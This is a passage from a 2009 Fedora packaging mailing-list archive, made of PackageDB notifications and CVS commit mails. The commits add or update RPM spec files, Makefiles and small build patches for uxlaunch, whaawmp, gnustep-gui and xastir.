for d in common ../common ../../common ; do if [ -f $$d/Makefile.common ] ; then if [ -f $$d/CVS/Root -a -w $$/Makefile.common ] ; then cd $$d ; cvs -Q update ; fi ; echo "$$d/Makefile.common" ; break ; fi ; done
endef

MAKEFILE_COMMON := $(shell $(find-makefile-common))

ifeq ($(MAKEFILE_COMMON),)
# attept a checkout
define checkout-makefile-common
test -f CVS/Root && { cvs -Q -d $$(cat CVS/Root) checkout common && echo "common/Makefile.common" ; } || { echo "ERROR: I can't figure out how to checkout the 'common' module." ; exit -1 ; } >&2
endef

MAKEFILE_COMMON := $(shell $(checkout-makefile-common))
endif

include $(MAKEFILE_COMMON)


--- NEW FILE sources ---



From pkgdb at fedoraproject.org  Tue Oct 13 16:32:12 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Tue, 13 Oct 2009 16:32:12 +0000
Subject: [pkgdb] uxlaunch was added for pbrobinson
Message-ID: <20091013163213.0565B10F8AC@bastion2.fedora.phx.redhat.com>

kevin has added Package uxlaunch with summary A small and quick interface to start the Moblin Desktop
kevin has approved Package uxlaunch
kevin has added a Fedora devel branch for uxlaunch with an owner of pbrobinson
kevin has approved uxlaunch in Fedora devel
kevin has approved Package uxlaunch
kevin has set commit to Approved for 107427 on uxlaunch (Fedora devel)
kevin has set checkout to Approved for 107427 on uxlaunch (Fedora devel)
kevin has set build to Approved for 107427 on uxlaunch (Fedora devel)

To make changes to this package see:
  /pkgdb/packages/name/uxlaunch



From pkgdb at fedoraproject.org  Tue Oct 13 16:32:14 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Tue, 13 Oct 2009 16:32:14 +0000
Subject: [pkgdb] uxlaunch summary updated by kevin
Message-ID: <20091013163214.F212310F87F@bastion2.fedora.phx.redhat.com>

kevin set package uxlaunch summary to A small and quick interface to start the Moblin Desktop

To make changes to this package see:
  /pkgdb/packages/name/uxlaunch



From pkgdb at fedoraproject.org  Tue Oct 13 16:32:14 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Tue, 13 Oct 2009 16:32:14 +0000
Subject: [pkgdb] uxlaunch (Fedora, 12) updated by kevin
Message-ID: <20091013163215.09ABB10F8A9@bastion2.fedora.phx.redhat.com>

kevin added a Fedora 12 branch for uxlaunch
kevin has set commit to Approved for 107427 on uxlaunch (Fedora 12)
kevin has set checkout to Approved for 107427 on uxlaunch (Fedora 12)
kevin has set build to Approved for 107427 on uxlaunch (Fedora 12)

To make changes to this package see:
  /pkgdb/packages/name/uxlaunch



From kevin at fedoraproject.org  Tue Oct 13 16:32:22 2009
From: kevin at fedoraproject.org (Kevin Fenzi)
Date: Tue, 13 Oct 2009 16:32:22 +0000 (UTC)
Subject: rpms/uxlaunch - New directory
Message-ID: <20091013163222.1CFCC11C00E8@cvs1.fedora.phx.redhat.com>

Author: kevin

Update of /cvs/pkgs/rpms/uxlaunch
In directory cvs1.fedora.phx.redhat.com:/home/fedora/kevin/CVSROOT/admin/tmpcvsf23705/rpms/uxlaunch

Log Message:
Directory /cvs/pkgs/rpms/uxlaunch added to the repository




From kevin at fedoraproject.org  Tue Oct 13 16:32:22 2009
From: kevin at fedoraproject.org (Kevin Fenzi)
Date: Tue, 13 Oct 2009 16:32:22 +0000 (UTC)
Subject: rpms/uxlaunch/devel - New directory
Message-ID: <20091013163222.3DD2B11C00E8@cvs1.fedora.phx.redhat.com>

Author: kevin

Update of /cvs/pkgs/rpms/uxlaunch/devel
In directory cvs1.fedora.phx.redhat.com:/home/fedora/kevin/CVSROOT/admin/tmpcvsf23705/rpms/uxlaunch/devel

Log Message:
Directory /cvs/pkgs/rpms/uxlaunch/devel added to the repository




From kevin at fedoraproject.org  Tue Oct 13 16:32:29 2009
From: kevin at fedoraproject.org (Kevin Fenzi)
Date: Tue, 13 Oct 2009 16:32:29 +0000 (UTC)
Subject: rpms/uxlaunch Makefile,NONE,1.1
Message-ID: <20091013163229.4174C11C00E8@cvs1.fedora.phx.redhat.com>

Author: kevin

Update of /cvs/pkgs/rpms/uxlaunch
In directory cvs1.fedora.phx.redhat.com:/home/fedora/kevin/CVSROOT/admin/tmpcvsf23705/rpms/uxlaunch

Added Files:
	Makefile 
Log Message:
Setup of module uxlaunch


--- NEW FILE Makefile ---
# Top level Makefile for module uxlaunch
all : CVS/Root common-update
	@cvs update

common-update : common
	@cd common && cvs update

common : CVS/Root
	@cvs checkout common

CVS/Root :
	@echo "ERROR: This does not look like a CVS checkout" && exit 1

clean :
	@find . -type f -name *~ -exec rm -fv {} \;



From kevin at fedoraproject.org  Tue Oct 13 16:32:29 2009
From: kevin at fedoraproject.org (Kevin Fenzi)
Date: Tue, 13 Oct 2009 16:32:29 +0000 (UTC)
Subject: rpms/uxlaunch/devel .cvsignore, NONE, 1.1 Makefile, NONE,
	1.1 sources, NONE, 1.1
Message-ID: <20091013163229.8E1C511C00E8@cvs1.fedora.phx.redhat.com>

Author: kevin

Update of /cvs/pkgs/rpms/uxlaunch/devel
In directory cvs1.fedora.phx.redhat.com:/home/fedora/kevin/CVSROOT/admin/tmpcvsf23705/rpms/uxlaunch/devel

Added Files:
	.cvsignore Makefile sources 
Log Message:
Setup of module uxlaunch


--- NEW FILE .cvsignore ---


--- NEW FILE Makefile ---
# Makefile for source rpm: uxlaunch
# $Id: Makefile,v 1.1 2009/10/13 16:32:29 kevin Exp $
NAME := uxlaunch
SPECFILE = $(firstword $(wildcard *.spec))

define find-makefile-common
for d in common ../common ../../common ; do if [ -f $$d/Makefile.common ] ; then if [ -f $$d/CVS/Root -a -w $$/Makefile.common ] ; then cd $$d ; cvs -Q update ; fi ; echo "$$d/Makefile.common" ; break ; fi ; done
endef

MAKEFILE_COMMON := $(shell $(find-makefile-common))

ifeq ($(MAKEFILE_COMMON),)
# attept a checkout
define checkout-makefile-common
test -f CVS/Root && { cvs -Q -d $$(cat CVS/Root) checkout common && echo "common/Makefile.common" ; } || { echo "ERROR: I can't figure out how to checkout the 'common' module." ; exit -1 ; } >&2
endef

MAKEFILE_COMMON := $(shell $(checkout-makefile-common))
endif

include $(MAKEFILE_COMMON)


--- NEW FILE sources ---



From pkgdb at fedoraproject.org  Tue Oct 13 16:32:51 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Tue, 13 Oct 2009 16:32:51 +0000
Subject: [pkgdb] whaawmp (Fedora, 10) updated by kevin
Message-ID: <20091013163251.429A110F875@bastion2.fedora.phx.redhat.com>

kevin approved watchbugzilla on whaawmp (Fedora 12) for kevin
kevin approved watchcommits on whaawmp (Fedora 12) for kevin
kevin approved commit on whaawmp (Fedora 12) for kevin
kevin approved build on whaawmp (Fedora 12) for kevin
kevin approved approveacls on whaawmp (Fedora 12) for kevin

To make changes to this package see:
  /pkgdb/packages/name/whaawmp



From pkgdb at fedoraproject.org  Tue Oct 13 16:32:51 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Tue, 13 Oct 2009 16:32:51 +0000
Subject: [pkgdb] whaawmp (Fedora, 10) updated by kevin
Message-ID: <20091013163251.574F410F88B@bastion2.fedora.phx.redhat.com>

kevin approved watchbugzilla on whaawmp (Fedora 10) for kevin
kevin approved watchcommits on whaawmp (Fedora 10) for kevin
kevin approved commit on whaawmp (Fedora 10) for kevin
kevin approved build on whaawmp (Fedora 10) for kevin
kevin approved approveacls on whaawmp (Fedora 10) for kevin

To make changes to this package see:
  /pkgdb/packages/name/whaawmp



From pkgdb at fedoraproject.org  Tue Oct 13 16:32:51 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Tue, 13 Oct 2009 16:32:51 +0000
Subject: [pkgdb] whaawmp (Fedora, 10) updated by kevin
Message-ID: <20091013163251.652AB10F8A8@bastion2.fedora.phx.redhat.com>

kevin approved watchbugzilla on whaawmp (Fedora devel) for kevin
kevin approved watchcommits on whaawmp (Fedora devel) for kevin
kevin approved commit on whaawmp (Fedora devel) for kevin
kevin approved build on whaawmp (Fedora devel) for kevin
kevin approved approveacls on whaawmp (Fedora devel) for kevin

To make changes to this package see:
  /pkgdb/packages/name/whaawmp



From pkgdb at fedoraproject.org  Tue Oct 13 16:32:51 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Tue, 13 Oct 2009 16:32:51 +0000
Subject: [pkgdb] whaawmp (Fedora, 10) updated by kevin
Message-ID: <20091013163251.6CBE310F8AC@bastion2.fedora.phx.redhat.com>

kevin approved watchbugzilla on whaawmp (Fedora 11) for kevin
kevin approved watchcommits on whaawmp (Fedora 11) for kevin
kevin approved commit on whaawmp (Fedora 11) for kevin
kevin approved build on whaawmp (Fedora 11) for kevin
kevin approved approveacls on whaawmp (Fedora 11) for kevin

To make changes to this package see:
  /pkgdb/packages/name/whaawmp



From s4504kr at fedoraproject.org  Tue Oct 13 16:33:22 2009
From: s4504kr at fedoraproject.org (Jochen Schmitt)
Date: Tue, 13 Oct 2009 16:33:22 +0000 (UTC)
Subject: rpms/gnustep-gui/devel gnustep-gui.spec, NONE, 1.1 import.log, NONE,
	1.1 .cvsignore, 1.1, 1.2 sources, 1.1, 1.2
Message-ID: <20091013163322.4818911C00E8@cvs1.fedora.phx.redhat.com>

Author: s4504kr

Update of /cvs/extras/rpms/gnustep-gui/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv24021/devel

Modified Files:
	.cvsignore sources 
Added Files:
	gnustep-gui.spec import.log 
Log Message:

Initial import




--- NEW FILE gnustep-gui.spec ---
Name:           gnustep-gui
Version:        0.16.0
Release:        4%{?dist}

Summary:        The GNUstep GUI library
License:        GPLv2+ and GPLv3+
Group:          Development/Libraries

URL:            http://www.gnustep.org
Source:         ftp://ftp.gnustep.org/pub/gnustep/core/%{name}-%{version}.tar.gz

BuildRequires:  gcc-objc
BuildRequires:  libtiff-devel
BuildRequires:  libjpeg-devel
BuildRequires:  libpng-devel
BuildRequires:  cups-devel
BuildRequires:  aspell-devel
BuildRequires:  giflib-devel
BuildRequires:  audiofile-devel
BuildRequires:  portaudio
BuildRequires:  gnustep-make
BuildRequires:  gnustep-base-devel
Requires:       gnustep-base >= 1.15.1
Requires:       %{name}-libs = %{version}-%{release}

BuildRoot:      %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)

%description 
The GNUstep GUI library is a library of graphical user interface classes
written completely in the Objective-C language; the classes are based
upon the OpenStep specification as release by NeXT Software, Inc.  These
classes include graphical objects such as buttons, text fields, popup
lists, browser lists, and windows; there are also many associated
classes for handling events, colors, fonts, pasteboards and images.

%package libs
Summary:        Libraries for %{name}
Group:          Development/Libraries
License:        LGPLv2+ and LGPLv3+
%description libs
The GNUstep GUI library is a library of graphical user interface classes
written completely in the Objective-C language; the classes are based
upon the OpenStep specification as release by NeXT Software, Inc.  These
classes include graphical objects such as buttons, text fields, popup
lists, browser lists, and windows; there are also many associated
classes for handling events, colors, fonts, pasteboards and images.

This package contains the libraries for %{name}

%package devel
Summary:        Header files for the gnustep-gui package
Group:          Development/Libraries
Requires:       gnustep-make
Requires:       gnustep-base-devel
Requires:       %{name}-libs = %{version}-%{release}

%description devel
The GNUstep GUI library is a library of graphical user interface classes
written completely in the Objective-C language; the classes are based
upon the OpenStep specification as release by NeXT Software, Inc.  These
classes include graphical objects such as buttons, text fields, popup
lists, browser lists, and windows; there are also many associated
classes for handling events, colors, fonts, pasteboards and images.

This package contains the header files for gnustep-gui.

%package doc
Summary:        Documentation for %{name}
Group:          Documentation
BuildArch:      noarch
License:        GFDL
Requires:       %{name} = %{version}-%{release}
Requires(post): /sbin/install-info
Requires(preun): /sbin/install-info

%description doc
The GNUstep GUI library is a library of graphical user interface classes
written completely in the Objective-C language; the classes are based
upon the OpenStep specification as release by NeXT Software, Inc.  These
classes include graphical objects such as buttons, text fields, popup
lists, browser lists, and windows; there are also many associated
classes for handling events, colors, fonts, pasteboards and images.

This package contains the documentation for %{name}

%prep
%setup -q

%build
%configure --with-installation-domain=SYSTEM
make messages=yes
make -C Documentation  messages=yes \
     GNUSTEP_MAKEFILES=%{_libdir}/GNUstep/Makefiles \
     

%install
rm -rf ${RPM_BUILD_ROOT}
make install DESTDIR=${RPM_BUILD_ROOT} GNUSTEP_INSTALLATION_DOMAIN=SYSTEM
make -C Documentation install DESTDIR=${RPM_BUILD_ROOT} \
     GNUSTEP_INSTALLATION_DOMAIN=SYSTEM \
     GNUSTEP_MAKEFILES=%{_libdir}/GNUstep/Makefiles

%clean
rm -rf ${RPM_BUILD_ROOT}

%post libs -p /sbin/ldconfig

%postun libs -p /sbin/ldconfig

%post doc
/sbin/install-info %{_infodir}/AppKit %{_infodir}/dir || :

%preun doc
if [ $1 = 0 ]; then
   /sbin/install-info --delete %{_infodir}/AppKit %{_infodir}/dir || :
fi

%files
%defattr(-,root,root)
%{_bindir}/gnustep_sndd
%{_bindir}/gclose
%{_bindir}/gopen
%{_bindir}/gcloseall
%{_bindir}/make_services
%{_bindir}/set_show_service
%{_libdir}/GNUstep/Bundles/
%{_libdir}/GNUstep/ColorPickers
%{_libdir}/GNUstep/Images/
%{_libdir}/GNUstep/Libraries/gnustep-gui/
%{_libdir}/GNUstep/KeyBindings/
%{_libdir}/GNUstep/PostScript/
%{_libdir}/GNUstep/Services/
%{_mandir}/man1/*

%doc ANNOUNCE BUGS COPYING NEWS README

%files devel
%defattr(-,root,root,-)
%{_includedir}/AppKit/
%{_includedir}/GNUstepGUI/
%{_includedir}/Cocoa/
%{_includedir}/gnustep/gui/
%{_libdir}/libgnustep-gui.so
%{_libdir}/GNUstep/Makefiles/Additional/gui.make

%files libs
%defattr(-,root,root,-)
%{_libdir}/libgnustep-gui.so.*
%doc COPYING.LIB

%files doc
%defattr(-,root,root,-)
%{_infodir}/AppKit.info.gz
%{_datadir}/GNUstep/Documentation/*
%doc Documentation/manual/LICENSE

%changelog
* Tue Sep 29 2009 Jochen Schmitt <Jochen herr-schmitt de> 0.16.0-4
- Fix typo

* Sun Sep 27 2009 Jochen Schmitt <Jochen herr-schmitt de> 0.16.0-3
- Create separate libs subpackage
- Fix license tag

* Thu Sep 24 2009 Jochen Schmitt <Jochen herr-schmitt de> 0.16.0-2
- Rework for new gnustep-make and gnustep-base releases

* Tue Feb 17 2009 Jochen Schmitt <Jochen herr-schmitt de> 0.16.0-1
- New upstream release

* Thu Dec 11 2008 Jochen Schmitt <Jochen herr-schmitt de> 0.14.0-2
- Add some missing BRs

* Wed Dec 10 2008 Jochen Schmitt <Jochen herr-schmitt de> 0.14.0-1
- Initional Package


--- NEW FILE import.log ---
gnustep-gui-0_16_0-4_fc11:HEAD:gnustep-gui-0.16.0-4.fc11.src.rpm:1255451558


Index: .cvsignore
===================================================================
RCS file: /cvs/extras/rpms/gnustep-gui/devel/.cvsignore,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- .cvsignore	13 Oct 2009 16:24:54 -0000	1.1
+++ .cvsignore	13 Oct 2009 16:33:22 -0000	1.2
@@ -0,0 +1 @@
+gnustep-gui-0.16.0.tar.gz


Index: sources
===================================================================
RCS file: /cvs/extras/rpms/gnustep-gui/devel/sources,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- sources	13 Oct 2009 16:24:54 -0000	1.1
+++ sources	13 Oct 2009 16:33:22 -0000	1.2
@@ -0,0 +1 @@
+464b80094e438fe0cc8e6ae691b3384c  gnustep-gui-0.16.0.tar.gz



From lucilanga at fedoraproject.org  Tue Oct 13 16:34:11 2009
From: lucilanga at fedoraproject.org (Lucian Langa)
Date: Tue, 13 Oct 2009 16:34:11 +0000 (UTC)
Subject: rpms/xastir/devel xastir-1.9.6-libdir.patch, NONE, 1.1 .cvsignore,
	1.5, 1.6 sources, 1.5, 1.6 xastir.spec, 1.21,
	1.22 xastir-1.9.4-engunits.patch, 1.4,
	NONE xastir-1.9.4-libdir.patch, 1.5, NONE
Message-ID: <20091013163411.CE3B011C00E8@cvs1.fedora.phx.redhat.com>

Author: lucilanga

Update of /cvs/pkgs/rpms/xastir/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv24442

Modified Files:
	.cvsignore sources xastir.spec 
Added Files:
	xastir-1.9.6-libdir.patch 
Removed Files:
	xastir-1.9.4-engunits.patch xastir-1.9.4-libdir.patch 
Log Message:
new upstream release

xastir-1.9.6-libdir.patch:
 Makefile.am |    4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

--- NEW FILE xastir-1.9.6-libdir.patch ---
diff -Naur xastir-1.9.6/scripts/Makefile.am xastir-1.9.6-mod/scripts/Makefile.am
--- xastir-1.9.6/scripts/Makefile.am	2009-05-23 00:35:05.000000000 +0300
+++ xastir-1.9.6-mod/scripts/Makefile.am	2009-10-13 08:25:15.000000000 +0300
@@ -3,7 +3,7 @@
 # Copyright (C) 2000-2009  The Xastir Group
 #
 
-pkglib_SCRIPTS = \
+pkgdata_SCRIPTS = \
     Coordinate.pm \
     coord-convert.pl \
     get-fcc-rac.pl \
@@ -43,5 +43,5 @@
     xastir-migrate.sh \
     Xastir_tigerpoly.py
 
-EXTRA_DIST = $(pkglib_SCRIPTS)
+EXTRA_DIST = $(pkgdata_SCRIPTS)
 


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/xastir/devel/.cvsignore,v
retrieving revision 1.5
retrieving revision 1.6
diff -u -p -r1.5 -r1.6
--- .cvsignore	10 Mar 2009 18:30:28 -0000	1.5
+++ .cvsignore	13 Oct 2009 16:34:11 -0000	1.6
@@ -1 +1 @@
-xastir-1.9.4.tar.gz
+xastir-1.9.6.tar.gz


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/xastir/devel/sources,v
retrieving revision 1.5
retrieving revision 1.6
diff -u -p -r1.5 -r1.6
--- sources	10 Mar 2009 18:30:28 -0000	1.5
+++ sources	13 Oct 2009 16:34:11 -0000	1.6
@@ -1 +1 @@
-415a19df810d0b28ac61aa444c3e7e0a  xastir-1.9.4.tar.gz
+78ed29f798c0d9d6ddee26831a1732ea  xastir-1.9.6.tar.gz


Index: xastir.spec
===================================================================
RCS file: /cvs/pkgs/rpms/xastir/devel/xastir.spec,v
retrieving revision 1.21
retrieving revision 1.22
diff -u -p -r1.21 -r1.22
--- xastir.spec	10 Aug 2009 19:35:21 -0000	1.21
+++ xastir.spec	13 Oct 2009 16:34:11 -0000	1.22
@@ -1,15 +1,14 @@
 Summary: Amateur Station Tracking and Reporting system for amateur radio
 Name:    xastir
 Epoch:   1
-Version: 1.9.4
-Release: 10%{?dist}
+Version: 1.9.6
+Release: 1%{?dist}
 License: GPLv2+
 Group:   Applications/Internet
 Source0: http://downloads.sourceforge.net/xastir/xastir-%{version}.tar.gz
 Source1: %{name}.desktop
 Source2: %{name}.png
-Patch0:  xastir-1.9.4-libdir.patch
-Patch1:  xastir-1.9.4-engunits.patch
+Patch0:  xastir-1.9.6-libdir.patch
 URL:     http://www.xastir.org
 BuildRoot: %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
 Requires: wget
@@ -28,7 +27,6 @@ software.
 %prep
 %setup -q -n %{name}-%{version}
 %patch0 -p1 -b .libdir
-%patch1 -p1 -b .engunits
 
 %build
 #./bootstrap.sh
@@ -75,6 +73,7 @@ rm -rf %{buildroot}
 %{_bindir}/xastir
 %{_bindir}/xastir_udp_client
 %{_bindir}/callpass
+%{_bindir}/testdbfawk
 %{_mandir}/man1/xastir.*
 %{_datadir}/xastir
 %{_datadir}/pixmaps/%{name}.png
@@ -84,6 +83,10 @@ rm -rf %{buildroot}
 %doc README.MAPS README.win32 UPGRADE
 
 %changelog
+* Tue Oct 13 2009 Lucian Langa <cooly at gnome.eu.org> - 1:1.9.6-1
+- drop patch1 fixed upstream
+- new upstream release
+
 * Mon Aug 10 2009 Lucian Langa <cooly at gnome.eu.org> - 1:1.9.4-10
 - update BR as xfontsel is in xorg-x11-apps package
 


--- xastir-1.9.4-engunits.patch DELETED ---


--- xastir-1.9.4-libdir.patch DELETED ---



From cwickert at fedoraproject.org  Tue Oct 13 16:42:53 2009
From: cwickert at fedoraproject.org (Christoph Wickert)
Date: Tue, 13 Oct 2009 16:42:53 +0000 (UTC)
Subject: rpms/whaawmp/devel import.log, NONE, 1.1 whaawmp.spec, NONE,
	1.1 .cvsignore, 1.1, 1.2 sources, 1.1, 1.2
Message-ID: <20091013164253.1031D11C00E8@cvs1.fedora.phx.redhat.com>

Author: cwickert

Update of /cvs/pkgs/rpms/whaawmp/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv26949/devel

Modified Files:
	.cvsignore sources 
Added Files:
	import.log whaawmp.spec 
Log Message:
Initial import of whaawmp. Rewiev at
https://bugzilla.redhat.com/show_bug.cgi?id=513420



--- NEW FILE import.log ---
whaawmp-0_2_12_1-2_fc12:HEAD:whaawmp-0.2.12.1-2.fc12.src.rpm:1255452067


--- NEW FILE whaawmp.spec ---
%{!?python_sitelib: %define python_sitelib %(%{__python} -c "from distutils.sysconfig import get_python_lib; print get_python_lib()")}

Name:           whaawmp
Version:        0.2.12.1
Release:        2%{?dist}
Summary:        Lightweight Media Player

Group:          Applications/Multimedia
License:        GPLv3+
URL:            http://home.gna.org/whaawmp/
Source0:        http://download.gna.org/whaawmp/%{version}/whaawmp-%{version}.tar.bz2
BuildRoot:      %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
BuildArch:      noarch

BuildRequires:   python-devel
BuildRequires:   python-setuptools 
BuildRequires:   desktop-file-utils
BuildRequires:   gettext intltool
Requires:        python >= 2.5, pygtk2-libglade >= 2.10, pyxdg
Requires:        dbus-python
Requires:        gstreamer-python >= 0.10, gstreamer-plugins-good >= 0.10

%description
Whaaw! Media Player is a lightweight media player that supports fullscreen 
mode, seeking, changing video colour settings and more. It will play any audio
or video files that GStreamer can play. It is intended to be a basic media 
player without any GNOME dependencies.


%prep
%setup -q
# remove shebangs
for Files in src/thumbnailer.py src/whaawmp.py; do
  %{__sed} -i.orig -e 1d ${Files}
  touch -r ${Files}.orig ${Files}
  %{__rm} ${Files}.orig
done

# fix desktop file
sed -i 's!audio/x-wav;audio/x-wav;!audio/x-wav;!' %{name}.desktop
sed -i 's!False!false!' %{name}.desktop


%build
%{__python} setup.py build


%install
rm -rf $RPM_BUILD_ROOT
%{__python} setup.py install -O1 --skip-build --root $RPM_BUILD_ROOT

desktop-file-install                                       \
  --delete-original                                        \
  --remove-key=Encoding                                    \
  --remove-category=Application                            \
  --add-category=GTK                                       \
  --dir=${RPM_BUILD_ROOT}%{_datadir}/applications          \
  ${RPM_BUILD_ROOT}%{_datadir}/applications/%{name}.desktop

%find_lang %{name}


%clean
rm -rf $RPM_BUILD_ROOT


%files -f %{name}.lang
%defattr(-,root,root,-)
%doc COPYING README TODO
%{_bindir}/%{name}
%{_bindir}/whaaw-thumbnailer
%{python_sitelib}/%{name}*.egg-info
%{python_sitelib}/%{name}/
%{_datadir}/%{name}/
%{_datadir}/applications/%{name}.desktop
%{_datadir}/pixmaps/%{name}.svg
# We need to own this dir although it's already owned by Thunar
%dir %{_datadir}/thumbnailers/
%{_datadir}/thumbnailers/whaaw-thumbnailer.desktop


%changelog
* Sun Sep 06 2009 Christoph Wickert <cwickert at fedoraproject.org> - 0.2.12.1-2
- Rework summary and description

* Thu Jul 16 2009 Christoph Wickert <cwickert at fedoraproject.org> - 0.2.12.1-1
- Update to 0.2.12.1

* Sat Dec 20 2008 Christoph Wickert <cwickert at fedoraproject.org> - 0.2.10.1-1
- Update to 0.2.10.1

* Sun Jun 22 2008 Christoph Wickert <cwickert at fedoraproject.org> - 0.2.10-1
- Initial Fedora Package


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/whaawmp/devel/.cvsignore,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- .cvsignore	13 Oct 2009 16:29:38 -0000	1.1
+++ .cvsignore	13 Oct 2009 16:42:52 -0000	1.2
@@ -0,0 +1 @@
+whaawmp-0.2.12.1.tar.bz2


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/whaawmp/devel/sources,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- sources	13 Oct 2009 16:29:38 -0000	1.1
+++ sources	13 Oct 2009 16:42:52 -0000	1.2
@@ -0,0 +1 @@
+259b61cfa87bbba54dcd9579a815a421  whaawmp-0.2.12.1.tar.bz2



From cwickert at fedoraproject.org  Tue Oct 13 16:43:54 2009
From: cwickert at fedoraproject.org (Christoph Wickert)
Date: Tue, 13 Oct 2009 16:43:54 +0000 (UTC)
Subject: rpms/whaawmp/devel whaawmp.spec,1.1,1.2
Message-ID: <20091013164354.4148711C00E8@cvs1.fedora.phx.redhat.com>

Author: cwickert

Update of /cvs/pkgs/rpms/whaawmp/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv27521

Modified Files:
	whaawmp.spec 
Log Message:
add review #


Index: whaawmp.spec
===================================================================
RCS file: /cvs/pkgs/rpms/whaawmp/devel/whaawmp.spec,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- whaawmp.spec	13 Oct 2009 16:42:52 -0000	1.1
+++ whaawmp.spec	13 Oct 2009 16:43:54 -0000	1.2
@@ -1,3 +1,5 @@
+# Review: https://bugzilla.redhat.com/show_bug.cgi?id=513420
+
 %{!?python_sitelib: %define python_sitelib %(%{__python} -c "from distutils.sysconfig import get_python_lib; print get_python_lib()")}
 
 Name:           whaawmp



From pbrobinson at fedoraproject.org  Tue Oct 13 16:47:37 2009
From: pbrobinson at fedoraproject.org (Peter Robinson)
Date: Tue, 13 Oct 2009 16:47:37 +0000 (UTC)
Subject: rpms/uxlaunch/devel import.log, NONE, 1.1 uxlaunch-fixppc.patch,
	NONE, 
	1.1 uxlaunch.spec, NONE, 1.1 .cvsignore, 1.1, 1.2 sources, 1.1, 1.2
Message-ID: <20091013164737.C667A11C00E8@cvs1.fedora.phx.redhat.com>

Author: pbrobinson

Update of /cvs/pkgs/rpms/uxlaunch/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv28592/devel

Modified Files:
	.cvsignore sources 
Added Files:
	import.log uxlaunch-fixppc.patch uxlaunch.spec 
Log Message:
- Initial import



--- NEW FILE import.log ---
uxlaunch-0_28-1_fc11:HEAD:uxlaunch-0.28-1.fc11.src.rpm:1255452434

uxlaunch-fixppc.patch:
 desktop.c |    2 ++
 1 file changed, 2 insertions(+)

--- NEW FILE uxlaunch-fixppc.patch ---
--- uxlaunch-0.23/desktop.c.orig	2009-09-08 17:56:45.000000000 +0100
+++ uxlaunch-0.23/desktop.c	2009-09-08 17:57:21.000000000 +0100
@@ -26,6 +26,8 @@
 #  define __NR_ioprio_set 289
 #elif defined(__x86_64__)
 #  define __NR_ioprio_set 251
+#elif defined (__powerpc__)
+#  define __NR_ioprio_set 273
 #else
 #  error "Unsupported arch"
 #endif


--- NEW FILE uxlaunch.spec ---
Name:           uxlaunch
Version:        0.28
Release:        1%{?dist}
Summary:        A small and quick interface to start the Moblin Desktop

Group:          User Interface/X
License:        GPLv2
URL:            http://www.moblin.org/
Source0:        http://git.moblin.org/cgit.cgi/%{name}/snapshot/%{name}-%{version}.tar.bz2
Patch0:         uxlaunch-fixppc.patch
BuildRoot:      %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)

BuildRequires: ConsoleKit-devel
BuildRequires: dbus-glib-devel
BuildRequires: libXau-devel
BuildRequires: pam-devel

Requires: dbus

%description
An ultra-lightweight, very cut down gdm and gnome-session replacement 
designed to get the Moblin Desktop running as quick as possible.

%prep
%setup -q
%patch0 -p1 -b .fixppc

# make build verbose
sed -i 's!^\(\t\+\)@!\1!' Makefile

%build
make %{?_smp_mflags}

%install
rm -rf %{buildroot}
make install DESTDIR=%{buildroot} INSTALL='install -p'

# Remove execute bit from config and man files
chmod -x %{buildroot}/%{_sysconfdir}/sysconfig/uxlaunch
chmod -x %{buildroot}/%{_datadir}/man/man1/uxlaunch*

%clean
rm -rf %{buildroot}

%files
%defattr(-,root,root,-)
%doc COPYING
%config(noreplace) %{_sysconfdir}/sysconfig/uxlaunch
%{_sbindir}/uxlaunch
%doc %{_datadir}/man/man1/uxlaunch.1.gz

%changelog
* Tue Oct 13 2009 Peter Robinson <pbrobinson at gmail.com> 0.28-1
- New upstream 0.28 release, updates from review

* Tue Sep  8 2009 Peter Robinson <pbrobinson at gmail.com> 0.23-1
- Initial packaging


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/uxlaunch/devel/.cvsignore,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- .cvsignore	13 Oct 2009 16:32:29 -0000	1.1
+++ .cvsignore	13 Oct 2009 16:47:37 -0000	1.2
@@ -0,0 +1 @@
+uxlaunch-0.28.tar.bz2


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/uxlaunch/devel/sources,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- sources	13 Oct 2009 16:32:29 -0000	1.1
+++ sources	13 Oct 2009 16:47:37 -0000	1.2
@@ -0,0 +1 @@
+99745cb7a831be90076ae3a9f1fbd310  uxlaunch-0.28.tar.bz2



From cwickert at fedoraproject.org  Tue Oct 13 16:48:17 2009
From: cwickert at fedoraproject.org (Christoph Wickert)
Date: Tue, 13 Oct 2009 16:48:17 +0000 (UTC)
Subject: rpms/whaawmp/F-11 whaawmp.spec, NONE, 1.1 .cvsignore, 1.1,
	1.2 sources, 1.1, 1.2
Message-ID: <20091013164817.77C7011C00E8@cvs1.fedora.phx.redhat.com>

Author: cwickert

